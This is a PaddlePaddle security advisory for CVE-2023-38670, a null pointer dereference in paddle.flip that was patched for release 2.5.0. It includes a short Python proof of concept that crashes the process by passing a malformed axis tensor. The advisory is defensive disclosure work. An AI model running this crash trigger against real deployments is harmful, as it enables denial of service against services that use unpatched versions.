pdsa-2023-002.md

PDSA-2023-002: Null pointer dereference in paddle.flip

CVE Number

CVE-2023-38670

Impact

paddle.flip segfaults with a nullptr dereference. The PoC is as follows:

import paddle
import numpy as np
from paddle import flip

x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))

flip(x, axis)

Patches

We have patched the issue in commit ed96baeed19b4e11b6cbc2dcc6776245ba5fab13. The fix will be included in PaddlePaddle 2.5.0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Tong Liu of ShanghaiTech University.